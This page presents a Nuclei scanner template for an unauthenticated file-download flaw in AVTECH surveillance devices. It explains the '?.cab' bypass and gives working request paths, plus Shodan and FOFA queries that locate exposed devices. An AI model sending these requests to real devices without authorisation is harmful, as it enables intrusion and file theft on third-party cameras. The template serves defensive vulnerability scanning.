AVTECH Video Surveillance Product - Unauthenticated File Download

ID: avtech-unauth-file-download

Severity: high

Author: ritikchaddha

Tags: exposure,avtech,unauth,download,iot

Description

AVTECH video surveillance products unauthenticated file download from web root through /cgi-bin/cgibox, Since the .cab string is verified by the strstr method, the file download can be realized by adding ?.cab at the end of the file name.

YAML Source

id: avtech-unauth-file-download

info:
  name: AVTECH Video Surveillance Product - Unauthenticated File Download
  author: ritikchaddha
  severity: high
  description: |
    AVTECH video surveillance products unauthenticated file download from web root through /cgi-bin/cgibox, Since the .cab string is verified by the strstr method, the file download can be realized by adding ?.cab at the end of the file name.
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"login" product:"Avtech"
    fofa-query: app="AVTECH-视频监控"
  tags: exposure,avtech,unauth,download,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/cgibox?.cab"
      - "{{BaseURL}}/cgi-bin/cgibox?/nobody"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ELF'
          - 'ddns_avtech_final'
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100875604b195e824069ccf40dd3cd8425fe1404ed8f6105b2ad57e0056d2c2a483022100f71b5ab2426d28e9eab896630f37c0b3cf451bcbd619725fb71fb19e803bad93:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/avtech/avtech-unauth-file-download.yaml"

View on Github